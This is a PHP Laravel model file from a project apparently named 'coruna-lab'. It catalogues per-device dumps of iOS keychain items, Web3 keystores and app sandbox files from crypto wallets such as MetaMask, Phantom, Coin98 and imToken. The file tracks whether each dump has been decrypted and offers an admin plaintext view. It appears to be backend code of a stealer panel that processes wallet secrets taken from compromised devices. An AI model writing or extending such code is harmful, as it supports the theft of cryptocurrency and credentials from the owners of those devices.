Files
coruna-lab/app/Models/WalletKeystore.php
T
2026-09-20 06:15:26 +08:00

567 lines
17 KiB
PHP

<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
'decrypted' => 'integer',
];
}
/**
* Columns for admin/device list pages. Never include raw_json — a page of
* dumps will exceed the 128MB PHP limit (see production.ERROR OOM).
*
* @return list<string|\Illuminate\Database\Query\Expression>
*/
public static function listColumns(string $table = 'wallet_keystores'): array
{
return [
$table.'.id',
$table.'.device_id',
$table.'.source',
$table.'.decrypted',
$table.'.created_at',
$table.'.updated_at',
DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'),
];
}
/**
* Same as listColumns() but without LENGTH(raw_json). Use this for
* paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001)
* — the LENGTH() expression forces MySQL to read large blobs during
* filesort, overflowing the sort buffer even for a handful of rows.
*
* @return list<string>
*/
public static function listColumnsLight(string $table = 'wallet_keystores'): array
{
return [
$table.'.id',
$table.'.device_id',
$table.'.source',
$table.'.decrypted',
$table.'.created_at',
$table.'.updated_at',
];
}
/**
* Load this row's raw_json alone, log memory, then drop the blob.
*
* @return array{item_count: int, summary: string, kind: string}
*/
public function listStats(): array
{
$len = (int) ($this->raw_json_len ?? 0);
$memBefore = memory_get_usage(true);
Log::info('keystore.list.hydrate.start', [
'id' => $this->id,
'raw_json_len' => $len,
'mem' => $memBefore,
]);
$raw = self::query()->whereKey($this->id)->value('raw_json');
$this->setAttribute('raw_json', $raw);
try {
$stats = [
'item_count' => $this->itemCount(),
'summary' => $this->summary(),
'kind' => $this->kindLabel(),
'has_web3_keystore' => $this->hasWeb3Keystore(),
];
} catch (\Throwable $e) {
Log::warning('keystore.list.hydrate.fail', [
'id' => $this->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
'error' => $e->getMessage(),
]);
$stats = [
'item_count' => 0,
'summary' => '',
'kind' => $this->kindLabel(),
'has_web3_keystore' => false,
];
} finally {
$this->setAttribute('raw_json', null);
}
Log::info('keystore.list.hydrate.done', [
'id' => $this->id,
'raw_json_len' => $len,
'item_count' => $stats['item_count'],
'kind' => $stats['kind'],
'mem' => memory_get_usage(true),
'delta' => memory_get_usage(true) - $memBefore,
]);
return $stats;
}
/**
* @param array<string, mixed> $rawJson
*/
public static function hashPayload(array $rawJson): string
{
$row = new static(['raw_json' => $rawJson]);
$digests = $row->contentDigests();
$seed = $row->kind().'|'.implode(',', $digests);
if ($digests === []) {
$seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return hash('sha256', $seed);
}
/**
* @param array<string, mixed> $rawJson
*/
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
{
$hash = self::hashPayload($rawJson);
$matches = [];
foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
$rowHash = (string) $row->content_hash;
if ($rowHash === '') {
$raw = self::query()->whereKey($row->id)->value('raw_json');
$row->setAttribute('raw_json', $raw);
$rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []);
$row->setAttribute('raw_json', null);
}
if (! hash_equals($rowHash, $hash)) {
continue;
}
if ((string) $row->content_hash !== $hash) {
self::query()->whereKey($row->id)->update(['content_hash' => $hash]);
$row->setAttribute('content_hash', $hash);
}
$row->setAttribute('raw_json', null);
$matches[] = $row;
}
if ($matches !== []) {
$keep = $matches[0];
foreach (array_slice($matches, 1) as $dup) {
$dup->delete();
}
return $keep;
}
$payload = [
'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => $rawJson,
];
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
$payload['content_hash'] = $hash;
}
return self::query()->create($payload);
}
/**
* @return list<string>
*/
public function contentDigests(): array
{
$out = [];
foreach ($this->listedItems() as $item) {
$sha = (string) ($item['data_sha'] ?? '');
if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) {
continue;
}
$out[] = $sha;
}
sort($out);
return $out;
}
public function sourceLabel(): string
{
$source = trim((string) $this->source);
return $source !== '' ? $source : '未知';
}
public function kind(): string
{
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
}
public function kindLabel(): string
{
return match ($this->kind()) {
'keychain.wallets' => '钥匙串',
'sandbox' => '沙盒文件',
default => $this->kind() !== '' ? $this->kind() : '未知',
};
}
/**
* Detect whether this keystore entry contains a standard Web3 keystore
* (Web3 Secret Storage Definition): a JSON object with a `crypto` field
* that has `ciphertext` and `mac` sub-keys. This covers imToken
* walletsV2 keystores (stored directly or nested under wallets.imtoken)
* and any UTC-style keystore blob.
*
* iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and
* sandbox files do NOT match and will return false.
*/
public function hasWeb3Keystore(): bool
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
if ($this->isWeb3KeystoreNode($json)) {
return true;
}
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $bucket) {
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
return true;
}
}
}
return false;
}
/**
* @param array<string, mixed> $node
*/
private function isWeb3KeystoreNode(array $node): bool
{
$crypto = $node['crypto'] ?? null;
return is_array($crypto)
&& isset($crypto['ciphertext'], $crypto['mac'])
&& is_string($crypto['ciphertext'])
&& is_string($crypto['mac']);
}
/**
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string,
* data_sha: string
* }>
*/
public function listedItems(): array
{
try {
return $this->collectListedItems();
} catch (\Throwable) {
return [];
}
}
/**
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string,
* data_sha: string
* }>
*/
private function collectListedItems(): array
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
$out = [];
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $key => $bucket) {
if (is_string($bucket) && $bucket !== '') {
$out[] = $this->normalizeItem([
'account' => is_string($key) ? $key : 'wallet',
'data' => $bucket,
]);
continue;
}
if (! is_array($bucket)) {
continue;
}
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
foreach ($items as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
}
}
$sandbox = $json['sandbox'] ?? null;
if (is_array($sandbox)) {
$out = array_merge($out, $this->sandboxItems($sandbox));
}
if (isset($json['crypto']) && is_array($json['crypto'])) {
$out[] = $this->normalizeItem([
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
'path' => 'crypto',
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
]);
}
return $out;
}
public function itemCount(): int
{
return count($this->listedItems());
}
public function summary(): string
{
$names = [];
foreach ($this->listedItems() as $item) {
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
if ($name !== '') {
$names[] = $name;
}
if (count($names) >= 3) {
break;
}
}
$n = $this->itemCount();
if ($names === []) {
return $n > 0 ? $n.' 条' : '';
}
$text = implode(' · ', $names);
if ($n > 3) {
$text .= ' 等'.$n.'条';
}
return $text;
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
/**
* @param array<string, mixed> $item
* @return array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string,
* data_sha: string
* }
*/
private function normalizeItem(array $item): array
{
$hex = (string) ($item['dataHex'] ?? '');
$bin = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$bin = (string) hex2bin($hex);
} elseif (isset($item['data']) && is_string($item['data'])) {
$bin = $item['data'];
}
return [
'account' => trim((string) ($item['account'] ?? '')),
'service' => trim((string) ($item['service'] ?? '')),
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
'path' => trim((string) ($item['path'] ?? '')),
'data_len' => strlen($bin),
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
'data_sha' => $bin === '' ? '' : hash('sha256', $bin),
];
}
/**
* @param array<string, mixed> $sandbox
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string,
* data_sha: string
* }>
*/
private function sandboxItems(array $sandbox, string $prefix = ''): array
{
$out = [];
foreach ($sandbox as $key => $value) {
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
if (is_array($value)) {
if (isset($value['items']) && is_array($value['items'])) {
foreach ($value['items'] as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
continue;
}
$out = array_merge($out, $this->sandboxItems($value, $path));
continue;
}
if (! is_string($value) || $value === '') {
continue;
}
$bin = base64_decode($value, true);
if ($bin === false) {
$bin = $value;
}
$out[] = $this->normalizeItem([
'account' => basename($path),
'path' => $path,
'data' => $bin,
]);
}
return $out;
}
private function previewBytes(string $raw): string
{
if ($raw === '') {
return '';
}
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
return $raw;
}
$hex = bin2hex($raw);
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
}
/**
* Keys whose values are sensitive (encrypted blobs, private keys,
* salts, IVs, etc.) and should be masked in the detail view.
*/
private const MASK_KEYS = [
'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr',
'encKey', 'encAuthKey', 'encOriginal',
'secretKey', 'privateKey', 'seed',
'cipherparams', 'kdfparams', 'cipher',
'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid',
'pin_code_key_multi_uuid',
];
/**
* Return the raw_json tree with sensitive fields masked, suitable for
* display in the admin "查看明文" detail view. Each keychain item's
* dataHex is decoded to UTF-8 when possible and nested sensitive fields
* are replaced with `***MASKED***`.
*
* @return array<string, mixed>
*/
public function maskedDetail(): array
{
$raw = self::query()->whereKey($this->id)->value('raw_json');
if (! is_array($raw)) {
return [];
}
return $this->maskTree($raw);
}
/**
* Recursively mask sensitive keys in a data tree.
*
* @param mixed $node
* @return mixed
*/
private function maskTree(mixed $node, int $depth = 0): mixed
{
if ($depth > 12) {
return null;
}
if (is_array($node)) {
$out = [];
foreach ($node as $key => $value) {
$lowerKey = strtolower((string) $key);
if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) {
// Mask the value but preserve type info and length.
if (is_string($value)) {
$out[$key] = '***MASKED***('.strlen($value).' chars)';
} elseif (is_array($value)) {
$out[$key] = '***MASKED***('.count($value).' items)';
} else {
$out[$key] = '***MASKED***';
}
continue;
}
// Decode dataHex in-place to show decoded content.
if ($lowerKey === 'datahex' && is_string($value) && $value !== '') {
$decoded = $this->tryDecodeHex($value);
if ($decoded !== null) {
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
$out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1);
continue;
}
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
continue;
}
$out[$key] = $this->maskTree($value, $depth + 1);
}
return $out;
}
return $node;
}
/**
* Try to decode a hex string into a JSON array or readable UTF-8 text.
*/
private function tryDecodeHex(string $hex): mixed
{
$hex = trim($hex);
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) {
return null;
}
// Try JSON first.
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
// Return as plain text if it looks printable.
if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) {
return $bin;
}
return null;
}
}